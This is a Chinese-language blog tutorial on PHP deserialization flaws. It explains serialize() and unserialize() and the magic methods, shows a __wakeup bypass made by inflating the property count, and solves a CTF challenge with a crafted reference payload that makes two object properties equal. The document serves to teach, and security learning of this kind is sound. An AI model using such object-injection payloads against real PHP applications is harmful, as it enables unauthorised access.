PHP反序列化漏洞的简单学习

在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

PHP序列化与反序列化

谈到PHP序列化与反序列化
那么必须涉及到两个函数serialize()unserialize()
前者是将一个对象进行序列化后者是其反过程

serialize()

先来看看此函数的解释

函数返回的是一串字符串,可以对如数组和对象进行序列化处理
下面给出两个例子

1
2
3
4
5
6
7
<?php //对数组进行序列化
$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
//序列化数组
$s = serialize($a);
echo $s;
//输出结果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}
?>

1
2
3
4
5
6
7
8
9
10
<?php
class name1 {
var $test1;
var $test2;
}
$test3 = new name1;
$test3->test1 = 'hack ';
$test3->test2 = 'fun';
echo serialize($test3);
//输出结果:O:5:"name1":2:{s:5:"test1";s:5:"hack ";s:5:"test2";s:3:"fun";}

对于序列化后得到的字符串解释如图

unserialize()

将已序列化的字符串进行反序列,即恢复序列化前

1
2
3
4
5
6
7
8
9
<?php
class name1 {
var $test1;
var $test2;
}
$str = 'O:5:"name1":2:{s:5:"test1";s:5:"hack ";s:5:"test2";s:3:"fun";}';
$ser = unserialize($str);
print_r($ser);
?>

反序列化漏洞

看似安全的序列化其实存在漏洞,而且一旦能利用就一般危害不小,在代码审计中我们需要格外注意此类型漏洞。
序列化漏洞常见的魔法函数

1
2
3
4
5
6
7
construct():当一个类被创建时自动调用
destruct():当一个类被销毁时自动调用
invoke():当把一个类当作函数使用时自动调用
tostring():当把一个类当作字符串使用时自动调用
wakeup():当调用unserialize()函数时自动调用
sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用

简单测试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class chybeta{
var $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __construct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>


由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。(这里因为懒直接照搬了某大佬的原文)

绕过魔法函数

魔法函数sleep() 和 wakeup()
php文档中定义__wakeup():
unserialize() 执行时会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。wakeup()经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。sleep()则相反,是用在序列化一个对象时被调用.

正常情况下的反序列化来漏洞如下图:

析构方法和__wakeup都能够执行
如果我们把传入的序列化字符串的属性个数更改成大于1的任何数

1
O:7:"hpdoger":2:{s:1:"a";s:6:"u know";}

得到的结果如图,__wakeup没有被执行,但是执行了析构函数


反序列化漏洞实战

  • 南邮CTF
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php
    class just4fun { //定义了一个类
    var $enter;
    var $secret;
    }
    if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
    $pass=stripslashes($pass);
    }

    $o = unserialize($pass); //进行反序列化处理

    if ($o) {
    $o->secret = "*"; //这里不知道*代表的是啥
    if ($o->secret === $o->enter) //要求$o中的两个属性值相同
    echo "Congratulation! Here is my secret: ".$o->secret;
    else
    echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
    }
    ?>

由于我们不知道*代表的是什么,故我们需要用指针来直接使两属性相等。

1
2
3
4
5
6
7
8
9
<?php
class just4fun {
var $enter;
var $secret;
}
$o = new just4fun;
$o->enter = &$o->secret; //这里的a=&b 即代表将b的指针赋值给a 无论b的值怎么变 a始终等于b
echo serialize($o);
?>

本地运行即可得到序列化字符串
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
然后将此作为pass参数GET发送即可获得flag

文章作者: Yunen
文章链接: https://www.0x002.com/2018/PHP反序列漏洞的简单学习/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yunen's Blog

评论